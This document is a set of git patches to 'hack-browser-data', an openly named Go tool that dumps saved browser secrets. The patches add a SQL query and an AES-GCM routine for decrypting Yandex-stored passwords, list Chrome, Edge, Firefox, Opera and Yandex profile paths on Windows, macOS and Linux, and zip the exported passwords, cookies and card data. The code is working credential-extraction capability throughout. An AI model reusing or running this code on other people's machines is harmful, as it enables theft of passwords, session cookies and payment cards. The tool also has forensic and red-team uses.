index 5177eca..aeed250 100644
--- a/internal/browingdata/browsingdata.go
+++ b/internal/browingdata/browsingdata.go
@@ -71,6 +71,7 @@ func (d *Data) addSource(Sources []item.Item) {
const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
+ queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go
index 6c4823f..a578937 100644
--- a/internal/browingdata/password.go
+++ b/internal/browingdata/password.go
@@ -86,7 +86,7 @@ func (c *YandexPassword) Parse(masterKey []byte) error {
}
defer os.Remove(item.TempYandexPassword)
defer loginDB.Close()
- rows, err := loginDB.Query(queryChromiumLogin)
+ rows, err := loginDB.Query(queryYandexLogin)
if err != nil {
return err
}
@@ -106,6 +106,7 @@ func (c *YandexPassword) Parse(masterKey []byte) error {
encryptPass: pwd,
LoginUrl: url,
}
+ log.Debug(login)
if len(pwd) > 0 {
var err error
if masterKey == nil {
diff --git a/internal/item/filename.go b/internal/item/filename.go
index e8868e6..028d6cf 100644
--- a/internal/item/filename.go
+++ b/internal/item/filename.go
@@ -11,7 +11,7 @@ const (
fileChromiumBookmark = "Bookmarks"
fileChromiumLocalStorage = "chromiumLocalStorage"
- fileYandexPassword = "Ya PassMan Data"
+ fileYandexPassword = "Ya Passman Data"
fileYandexCredit = "Ya Credit Cards"
fileFirefoxKey4 = "key4.db"
From da2beb945359ef71cbdb86a33427ad35d8297eae Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Thu, 14 Apr 2022 14:53:16 +0800
Subject: [PATCH 29/33] fix: wrong browser profile path for linux
---
internal/browingdata/download.go | 3 +-
internal/browingdata/password.go | 2 +-
internal/browser/browser.go | 7 +-
internal/browser/browser_linux.go | 14 ++--
internal/browser/browser_test.go | 86 -------------------------
internal/decrypter/decrypter_windows.go | 13 ++++
6 files changed, 28 insertions(+), 97 deletions(-)
delete mode 100644 internal/browser/browser_test.go
diff --git a/internal/browingdata/download.go b/internal/browingdata/download.go
index d9294d9..0419f90 100644
--- a/internal/browingdata/download.go
+++ b/internal/browingdata/download.go
@@ -2,7 +2,6 @@ package browingdata
import (
"database/sql"
- "fmt"
"os"
"sort"
"strings"
@@ -35,7 +34,7 @@ func (c *ChromiumDownload) Parse(masterKey []byte) error {
totalBytes, startTime, endTime int64
)
if err := rows.Scan(&targetPath, &tabUrl, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
- fmt.Println(err)
+ log.Warn(err)
}
data := download{
TargetPath: targetPath,
diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go
index a578937..8652792 100644
--- a/internal/browingdata/password.go
+++ b/internal/browingdata/password.go
@@ -106,7 +106,7 @@ func (c *YandexPassword) Parse(masterKey []byte) error {
encryptPass: pwd,
LoginUrl: url,
}
- log.Debug(login)
+
if len(pwd) > 0 {
var err error
if masterKey == nil {
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index efd87cf..2e11720 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -43,6 +43,7 @@ func pickChromium(name string) []Browser {
if b, err := chromium.New(c.name, c.storage, c.profilePath, c.items); err == nil {
browsers = append(browsers, b)
} else {
+ // TODO: show which browser find failed
if strings.Contains(err.Error(), "profile path is not exist") {
continue
}
@@ -74,7 +75,11 @@ func pickFirefox(name string) []Browser {
multiFirefox, err := firefox.New(v.name, v.storage, v.profilePath, v.items)
// TODO: Handle error
if err != nil {
- panic(err)
+ if strings.Contains(err.Error(), "profile path is not exist") {
+ fmt.Println(err.Error())
+ } else {
+ panic(err)
+ }
}
for _, browser := range multiFirefox {
browsers = append(browsers, browser)
diff --git a/internal/browser/browser_linux.go b/internal/browser/browser_linux.go
index f4722a4..0a3eb45 100644
--- a/internal/browser/browser_linux.go
+++ b/internal/browser/browser_linux.go
@@ -71,14 +71,14 @@ var (
)
var (
- firefoxProfilePath = homeDir + "/.mozilla/firefox/*.default-release*/"
- chromeProfilePath = homeDir + "/.config/google-chrome/*/"
- chromiumProfilePath = homeDir + "/.config/chromium/*/"
- edgeProfilePath = homeDir + "/.config/microsoft-edge*/*/"
- braveProfilePath = homeDir + "/.config/BraveSoftware/Brave-Browser/*/"
- chromeBetaProfilePath = homeDir + "/.config/google-chrome-beta/*/"
+ firefoxProfilePath = homeDir + "/.mozilla/firefox/"
+ chromeProfilePath = homeDir + "/.config/google-chrome/"
+ chromiumProfilePath = homeDir + "/.config/chromium/"
+ edgeProfilePath = homeDir + "/.config/microsoft-edge*/"
+ braveProfilePath = homeDir + "/.config/BraveSoftware/Brave-Browser/"
+ chromeBetaProfilePath = homeDir + "/.config/google-chrome-beta/"
operaProfilePath = homeDir + "/.config/opera/"
- vivaldiProfilePath = homeDir + "/.config/vivaldi/*/"
+ vivaldiProfilePath = homeDir + "/.config/vivaldi/"
)
const (
diff --git a/internal/browser/browser_test.go b/internal/browser/browser_test.go
deleted file mode 100644
index 5046ca0..0000000
--- a/internal/browser/browser_test.go
+++ /dev/null
@@ -1,86 +0,0 @@
-package browser
-
-import (
- "fmt"
- "testing"
-
- "hack-browser-data/internal/browser/chromium"
- "hack-browser-data/internal/item"
- "hack-browser-data/internal/outputter"
-)
-
-func TestPickChromium(t *testing.T) {
-
-}
-
-func TestGetChromiumItemAbsPath(t *testing.T) {
- p := `/Library/Application Support/Google/Chrome/`
- p = homeDir + p
- c, err := chromium.New("chrome", "Chrome", p, item.DefaultChromium)
- if err != nil {
- t.Error(err)
- }
- data, err := c.GetBrowsingData()
- if err != nil {
- t.Error(err)
- }
- output := outputter.New("json")
-
- if err != nil {
- t.Error(err)
- }
- for _, v := range data.Sources {
- f, err := output.CreateFile("result", v.Name()+".json")
- if err != nil {
- panic(err)
- }
- if err := output.Write(v, f); err != nil {
- panic(err)
- }
- }
-}
-
-func TestPickBrowsers(t *testing.T) {
- browsers := PickBrowser("all")
- for _, v := range browsers {
- fmt.Println(v.Name())
- }
- // filetype := "json"
- // dir := "result"
- // output := outputter.New(filetype)
-}
-
-// func TestPickFirefox(t *testing.T) {
-// browsers := pickFirefox("all")
-// filetype := "json"
-// dir := "result"
-// output := outputter.New(filetype)
-// if err := output.MakeDir("result"); err != nil {
-// panic(err)
-// }
-// for _, b := range browsers {
-// fmt.Printf("%+v\n", b)
-// if err := b.CopyItemFileToLocal(); err != nil {
-// panic(err)
-// }
-// masterKey, err := b.GetMasterKey()
-// if err != nil {
-// fmt.Println(err)
-// }
-// browserName := b.Name()
-// multiData := b.GetBrowsingData()
-// for _, data := range multiData {
-// if err := data.Parse(masterKey); err != nil {
-// fmt.Println(err)
-// }
-// filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype)
-// file, err := output.CreateFile(dir, filename)
-// if err != nil {
-// panic(err)
-// }
-// if err := output.Write(data, file); err != nil {
-// panic(err)
-// }
-// }
-// }
-// }
diff --git a/internal/decrypter/decrypter_windows.go b/internal/decrypter/decrypter_windows.go
index 7dda3f0..debc8f4 100644
--- a/internal/decrypter/decrypter_windows.go
+++ b/internal/decrypter/decrypter_windows.go
@@ -16,6 +16,19 @@ func ChromePass(key, encryptPass []byte) ([]byte, error) {
}
}
+func ChromePassForYandex(key, encryptPass []byte) ([]byte, error) {
+ if len(encryptPass) > 15 {
+ // remove Prefix 'v10'
+ // gcmBlockSize = 16
+ // gcmTagSize = 16
+ // gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
+ // gcmStandardNonceSize = 12
+ return aesGCMDecrypt(encryptPass[12:], key, encryptPass[0:12])
+ } else {
+ return nil, errPasswordIsEmpty
+ }
+}
+
// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
From f728d3201ba7a43c60d3e115f2516ee8052ded84 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Thu, 14 Apr 2022 23:36:11 +0800
Subject: [PATCH 30/33] feat: support profile path cmd options
---
cmd/hack-browser-data/main.go | 46 +++++++++++---------
go.mod | 3 +-
go.sum | 2 -
internal/browser/browser.go | 47 +++++++++++++++-----
internal/browser/browser_darwin.go | 20 ++++-----
internal/browser/browser_linux.go | 14 +++---
internal/browser/browser_windows.go | 24 +++++------
internal/browser/chromium/chromium.go | 9 ++--
internal/browser/firefox/firefox.go | 23 ++++------
internal/decrypter/decrypter.go | 2 +-
internal/utils/fileutil/filetutil.go | 62 +++++++++++++++++++++++++++
internal/utils/utils.go | 44 -------------------
12 files changed, 170 insertions(+), 126 deletions(-)
diff --git a/cmd/hack-browser-data/main.go b/cmd/hack-browser-data/main.go
index 95377ee..1e44a41 100644
--- a/cmd/hack-browser-data/main.go
+++ b/cmd/hack-browser-data/main.go
@@ -8,18 +8,18 @@ import (
"hack-browser-data/internal/browser"
"hack-browser-data/internal/log"
"hack-browser-data/internal/outputter"
- "hack-browser-data/internal/utils"
+ "hack-browser-data/internal/utils/fileutil"
"github.com/urfave/cli/v2"
)
var (
- browserName string
- exportDir string
- outputFormat string
- verbose bool
- compress bool
- customProfilePath string
+ browserName string
+ outputDir string
+ outputFormat string
+ verbose bool
+ compress bool
+ profilePath string
)
func main() {
@@ -28,30 +28,33 @@ func main() {
func Execute() {
app := &cli.App{
- Name: "hack-browser-data",
- Usage: "Export passwords/cookies/history/bookmarks from browser",
- UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
- Version: "0.4.0",
+ Name: "hack-browser-data",
+ Usage: "Export passwords/cookies/history/bookmarks from browser",
+ UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\nGet all browingdata(password/cookie/history/bookmark) from browser",
+ Version: "0.4.0",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(browser.ListBrowser(), "|")},
- &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
+ &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &outputDir, Value: "results", Usage: "export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
- &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
+ &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &profilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
},
HideHelpCommand: true,
Action: func(c *cli.Context) error {
- var (
- browsers []browser.Browser
- err error
- )
if verbose {
log.InitLog("debug")
} else {
log.InitLog("error")
}
- browsers, err = browser.PickBrowser(browserName)
+ var (
+ browsers []browser.Browser
+ err error
+ )
+ // if profilePath != "" {
+ // browsers, err = browser.PickBrowserByProfilePath(browserName, profilePath)
+ // }
+ browsers, err = browser.PickBrowser(browserName, profilePath)
if err != nil {
log.Error(err)
}
@@ -65,7 +68,10 @@ func Execute() {
var f *os.File
for _, source := range data.Sources {
filename := fmt.Sprintf("%s_%s.%s", b.Name(), source.Name(), outputFormat)
- f, err = output.CreateFile(exportDir, filename)
+ f, err = output.CreateFile(outputDir, filename)
+ if err != nil {
+ log.Error(err)
+ }
err = output.Write(source, f)
if err != nil {
log.Error(err)
@@ -73,7 +79,7 @@ func Execute() {
}
}
if compress {
- err = utils.Compress(exportDir)
+ err = fileutil.CompressDir(outputDir)
if err != nil {
log.Error(err)
}
diff --git a/go.mod b/go.mod
index 8d9ea36..d8c084f 100644
--- a/go.mod
+++ b/go.mod
@@ -4,7 +4,7 @@ go 1.18
require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
- github.com/godbus/dbus v4.1.0+incompatible
+ github.com/godbus/dbus/v5 v5.1.0
github.com/json-iterator/go v1.1.12
github.com/mattn/go-sqlite3 v1.14.9
github.com/ppacher/go-dbus-keyring v1.0.1
@@ -15,7 +15,6 @@ require (
require (
github.com/cpuguy83/go-md2man/v2 v2.0.1 // indirect
- github.com/godbus/dbus/v5 v5.1.0 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect
diff --git a/go.sum b/go.sum
index 7dd8816..4572f41 100644
--- a/go.sum
+++ b/go.sum
@@ -6,8 +6,6 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 h1:ptTza/LLPmfRtmz77X+6J61Wyf5e1hz5xYMvRk/hkE4=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
-github.com/godbus/dbus v4.1.0+incompatible h1:WqqLRTsQic3apZUK9qC5sGNfXthmPXzUZ7nQPrNITa4=
-github.com/godbus/dbus v4.1.0+incompatible/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index 2e11720..3104323 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -1,13 +1,14 @@
package browser
import (
- "fmt"
"os"
"strings"
"hack-browser-data/internal/browingdata"
"hack-browser-data/internal/browser/chromium"
"hack-browser-data/internal/browser/firefox"
+ "hack-browser-data/internal/log"
+ "hack-browser-data/internal/utils/fileutil"
)
type Browser interface {
@@ -18,15 +19,15 @@ type Browser interface {
GetBrowsingData() (*browingdata.Data, error)
}
-func PickBrowser(name string) ([]Browser, error) {
+func PickBrowser(name, profile string) ([]Browser, error) {
var browsers []Browser
- clist := pickChromium(name)
+ clist := pickChromium(name, profile)
for _, b := range clist {
if b != nil {
browsers = append(browsers, b)
}
}
- flist := pickFirefox(name)
+ flist := pickFirefox(name, profile)
for _, b := range flist {
if b != nil {
browsers = append(browsers, b)
@@ -35,9 +36,27 @@ func PickBrowser(name string) ([]Browser, error) {
return browsers, nil
}
-func pickChromium(name string) []Browser {
+func PickBrowserByProfilePath(name, profile string) ([]Browser, error) {
+ var browsers []Browser
+ clist := pickChromium(name, profile)
+ for _, b := range clist {
+ if b != nil {
+ browsers = append(browsers, b)
+ }
+ }
+ flist := pickFirefox(name, profile)
+ for _, b := range flist {
+ if b != nil {
+ browsers = append(browsers, b)
+ }
+ }
+ return browsers, nil
+}
+
+func pickChromium(name, profile string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
+ // TODO: add support for 「all」 flag and set profilePath
if name == "all" {
for _, c := range chromiumList {
if b, err := chromium.New(c.name, c.storage, c.profilePath, c.items); err == nil {
@@ -53,10 +72,13 @@ func pickChromium(name string) []Browser {
return browsers
}
if c, ok := chromiumList[name]; ok {
- b, err := chromium.New(c.name, c.storage, c.profilePath, c.items)
+ if profile == "" {
+ profile = c.profilePath
+ }
+ b, err := chromium.New(c.name, c.storage, profile, c.items)
if err != nil {
if strings.Contains(err.Error(), "profile path is not exist") {
- fmt.Println(err.Error())
+ log.Error(err.Error())
} else {
panic(err)
}
@@ -67,16 +89,21 @@ func pickChromium(name string) []Browser {
return nil
}
-func pickFirefox(name string) []Browser {
+func pickFirefox(name, profile string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" || name == "firefox" {
for _, v := range firefoxList {
- multiFirefox, err := firefox.New(v.name, v.storage, v.profilePath, v.items)
+ if profile == "" {
+ profile = v.profilePath
+ } else {
+ profile = fileutil.ParentDir(profile)
+ }
+ multiFirefox, err := firefox.New(v.name, v.storage, profile, v.items)
// TODO: Handle error
if err != nil {
if strings.Contains(err.Error(), "profile path is not exist") {
- fmt.Println(err.Error())
+ log.Error(err.Error())
} else {
panic(err)
}
diff --git a/internal/browser/browser_darwin.go b/internal/browser/browser_darwin.go
index 2b3af00..55b0ba8 100644
--- a/internal/browser/browser_darwin.go
+++ b/internal/browser/browser_darwin.go
@@ -89,16 +89,16 @@ var (
)
var (
- chromeProfilePath = homeDir + "/Library/Application Support/Google/Chrome/"
- chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/"
- chromiumProfilePath = homeDir + "/Library/Application Support/Chromium/"
- edgeProfilePath = homeDir + "/Library/Application Support/Microsoft Edge/"
- braveProfilePath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/"
- operaProfilePath = homeDir + "/Library/Application Support/com.operasoftware.Opera/"
- operaGXProfilePath = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/"
- vivaldiProfilePath = homeDir + "/Library/Application Support/Vivaldi/"
- coccocProfilePath = homeDir + "/Library/Application Support/Coccoc/"
- yandexProfilePath = homeDir + "/Library/Application Support/Yandex/YandexBrowser/"
+ chromeProfilePath = homeDir + "/Library/Application Support/Google/Chrome/Default/"
+ chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/Default/"
+ chromiumProfilePath = homeDir + "/Library/Application Support/Chromium/Default/"
+ edgeProfilePath = homeDir + "/Library/Application Support/Microsoft Edge/Default/"
+ braveProfilePath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/Default/"
+ operaProfilePath = homeDir + "/Library/Application Support/com.operasoftware.Opera/Default/"
+ operaGXProfilePath = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/Default/"
+ vivaldiProfilePath = homeDir + "/Library/Application Support/Vivaldi/Default/"
+ coccocProfilePath = homeDir + "/Library/Application Support/Coccoc/Default/"
+ yandexProfilePath = homeDir + "/Library/Application Support/Yandex/YandexBrowser/Default/"
firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/"
)
diff --git a/internal/browser/browser_linux.go b/internal/browser/browser_linux.go
index 0a3eb45..9ba39bf 100644
--- a/internal/browser/browser_linux.go
+++ b/internal/browser/browser_linux.go
@@ -72,13 +72,13 @@ var (
var (
firefoxProfilePath = homeDir + "/.mozilla/firefox/"
- chromeProfilePath = homeDir + "/.config/google-chrome/"
- chromiumProfilePath = homeDir + "/.config/chromium/"
- edgeProfilePath = homeDir + "/.config/microsoft-edge*/"
- braveProfilePath = homeDir + "/.config/BraveSoftware/Brave-Browser/"
- chromeBetaProfilePath = homeDir + "/.config/google-chrome-beta/"
- operaProfilePath = homeDir + "/.config/opera/"
- vivaldiProfilePath = homeDir + "/.config/vivaldi/"
+ chromeProfilePath = homeDir + "/.config/google-chrome/Default/"
+ chromiumProfilePath = homeDir + "/.config/chromium/Default/"
+ edgeProfilePath = homeDir + "/.config/microsoft-edge*/Default/"
+ braveProfilePath = homeDir + "/.config/BraveSoftware/Brave-Browser/Default/"
+ chromeBetaProfilePath = homeDir + "/.config/google-chrome-beta/Default/"
+ operaProfilePath = homeDir + "/.config/opera/Default/"
+ vivaldiProfilePath = homeDir + "/.config/vivaldi/Default/"
)
const (
diff --git a/internal/browser/browser_windows.go b/internal/browser/browser_windows.go
index 9ceacad..ebcf11d 100644
--- a/internal/browser/browser_windows.go
+++ b/internal/browser/browser_windows.go
@@ -89,18 +89,18 @@ var (
)
var (
- chromeProfilePath = homeDir + "/AppData/Local/Google/Chrome/User Data/"
- chromeBetaProfilePath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/"
- chromiumProfilePath = homeDir + "/AppData/Local/Chromium/User Data/"
- edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/"
- braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/"
- speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/"
- qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/"
- operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
- operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
- vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/"
- coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/"
- yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/"
+ chromeProfilePath = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/"
+ chromeBetaProfilePath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/"
+ chromiumProfilePath = homeDir + "/AppData/Local/Chromium/User Data/Default/"
+ edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
+ braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
+ speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
+ qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
+ operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/Default/"
+ operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/Default/"
+ vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
+ coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
+ yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
)
diff --git a/internal/browser/chromium/chromium.go b/internal/browser/chromium/chromium.go
index 3a02770..135a6d1 100644
--- a/internal/browser/chromium/chromium.go
+++ b/internal/browser/chromium/chromium.go
@@ -84,11 +84,13 @@ func (c *chromium) copyItemToLocal() error {
func (c *chromium) getItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) {
var itemPaths = make(map[item.Item]string)
- err := filepath.Walk(profilePath, chromiumWalkFunc(items, itemPaths))
+ parentDir := fileutil.ParentDir(profilePath)
+ baseDir := fileutil.BaseDir(profilePath)
+ err := filepath.Walk(parentDir, chromiumWalkFunc(items, itemPaths, baseDir))
return itemPaths, err
}
-func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepath.WalkFunc {
+func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string, baseDir string) filepath.WalkFunc {
return func(path string, info os.FileInfo, err error) error {
for _, it := range items {
switch {
@@ -96,8 +98,7 @@ func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepat
if it == item.ChromiumKey {
itemPaths[it] = path
}
- // TODO: check file path is not in Default folder
- if strings.Contains(path, "Default") {
+ if strings.Contains(path, baseDir) {
itemPaths[it] = path
}
}
diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go
index c4ebacf..eea438a 100644
--- a/internal/browser/firefox/firefox.go
+++ b/internal/browser/firefox/firefox.go
@@ -9,6 +9,7 @@ import (
"hack-browser-data/internal/browingdata"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
"hack-browser-data/internal/utils/fileutil"
"hack-browser-data/internal/utils/typeutil"
)
@@ -24,20 +25,19 @@ type firefox struct {
// New returns a new firefox instance.
func New(name, storage, profilePath string, items []item.Item) ([]*firefox, error) {
+ if !fileutil.FolderExists(profilePath) {
+ return nil, fmt.Errorf("%s profile path is not exist: %s", name, profilePath)
+ }
f := &firefox{
name: name,
storage: storage,
profilePath: profilePath,
items: items,
}
- if !fileutil.FolderExists(profilePath) {
- return nil, fmt.Errorf("%s profile path is not exist: %s", name, profilePath)
- }
-
multiItemPaths, err := f.getMultiItemPath(f.profilePath, f.items)
if err != nil {
if strings.Contains(err.Error(), "profile path is not exist") {
- fmt.Println(err)
+ log.Error(err)
return nil, nil
}
return nil, err
@@ -55,7 +55,6 @@ func New(name, storage, profilePath string, items []item.Item) ([]*firefox, erro
func (f *firefox) getMultiItemPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
var multiItemPaths = make(map[string]map[item.Item]string)
-
err := filepath.Walk(profilePath, firefoxWalkFunc(items, multiItemPaths))
return multiItemPaths, err
}
@@ -81,11 +80,11 @@ func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]
return func(path string, info fs.FileInfo, err error) error {
for _, v := range items {
if info.Name() == v.FileName() {
- parentDir := getParentDir(path)
- if _, exist := multiItemPaths[parentDir]; exist {
- multiItemPaths[parentDir][v] = path
+ parentBaseDir := fileutil.ParentBaseDir(path)
+ if _, exist := multiItemPaths[parentBaseDir]; exist {
+ multiItemPaths[parentBaseDir][v] = path
} else {
- multiItemPaths[parentDir] = map[item.Item]string{v: path}
+ multiItemPaths[parentBaseDir] = map[item.Item]string{v: path}
}
}
}
@@ -93,10 +92,6 @@ func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]
}
}
-func getParentDir(absPath string) string {
- return filepath.Base(filepath.Dir(absPath))
-}
-
func (f *firefox) GetMasterKey() ([]byte, error) {
return f.masterKey, nil
}
diff --git a/internal/decrypter/decrypter.go b/internal/decrypter/decrypter.go
index 0bda414..d93d58f 100644
--- a/internal/decrypter/decrypter.go
+++ b/internal/decrypter/decrypter.go
@@ -17,7 +17,7 @@ var (
errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
errPasswordIsEmpty = errors.New("password is empty")
errDecryptFailed = errors.New("decrypt encrypted value failed")
- errDecodeASN1Failed = errors.New("decode ASN1 browingdata failed")
+ errDecodeASN1Failed = errors.New("decode ASN1 data failed")
errEncryptedLength = errors.New("length of encrypted password less than block size")
)
diff --git a/internal/utils/fileutil/filetutil.go b/internal/utils/fileutil/filetutil.go
index e97262e..f91948a 100644
--- a/internal/utils/fileutil/filetutil.go
+++ b/internal/utils/fileutil/filetutil.go
@@ -1,11 +1,16 @@
package fileutil
import (
+ "archive/zip"
+ "bytes"
"fmt"
"io/ioutil"
"os"
+ "path"
+ "path/filepath"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
)
// FileExists checks if the file exists in the provided path
@@ -55,3 +60,60 @@ func CopyItemToLocal(itemPaths map[item.Item]string) error {
}
return nil
}
+
+func ParentDir(p string) string {
+ return filepath.Dir(p)
+}
+
+func BaseDir(p string) string {
+ return filepath.Base(p)
+}
+
+func ParentBaseDir(p string) string {
+ return BaseDir(ParentDir(p))
+}
+
+func CompressDir(dir string) error {
+ files, err := ioutil.ReadDir(dir)
+ if err != nil {
+ log.Error(err)
+ }
+ var b = new(bytes.Buffer)
+ zw := zip.NewWriter(b)
+ for _, f := range files {
+ fw, _ := zw.Create(f.Name())
+ fileName := path.Join(dir, f.Name())
+ fileContent, err := ioutil.ReadFile(fileName)
+ if err != nil {
+ zw.Close()
+ return err
+ }
+ _, err = fw.Write(fileContent)
+ if err != nil {
+ zw.Close()
+ return err
+ }
+ err = os.Remove(fileName)
+ if err != nil {
+ log.Error(err)
+ }
+ }
+ if err := zw.Close(); err != nil {
+ return err
+ }
+ filename := filepath.Join(dir, "archive.zip")
+ outFile, err := os.Create(filename)
+ if err != nil {
+ return err
+ }
+ _, err = b.WriteTo(outFile)
+ if err != nil {
+ return err
+ }
+ log.Debugf("Compress success, zip filename is %s", filename)
+ return nil
+}
+
+// func CleanProfilePath(p string) string {
+//
+// }
diff --git a/internal/utils/utils.go b/internal/utils/utils.go
index ae55d6d..19b5907 100644
--- a/internal/utils/utils.go
+++ b/internal/utils/utils.go
@@ -1,20 +1,14 @@
package utils
import (
- "archive/zip"
- "bytes"
"fmt"
"io/ioutil"
"os"
"path"
"strings"
"time"
-
- "hack-browser-data/internal/log"
)
-const Prefix = "[x]: "
-
func IntToBool(a int) bool {
switch a {
case 0, -1:
@@ -73,41 +67,3 @@ func MakeDir(dirName string) error {
}
return nil
}
-
-func Compress(exportDir string) error {
- files, err := ioutil.ReadDir(exportDir)
- if err != nil {
- log.Error(err)
- }
- var b = new(bytes.Buffer)
- zw := zip.NewWriter(b)
- for _, f := range files {
- fw, _ := zw.Create(f.Name())
- fileName := path.Join(exportDir, f.Name())
- fileContent, err := ioutil.ReadFile(fileName)
- if err != nil {
- zw.Close()
- return err
- }
- _, err = fw.Write(fileContent)
- if err != nil {
- zw.Close()
- return err
- }
- err = os.Remove(fileName)
- if err != nil {
- log.Error(err)
- }
- }
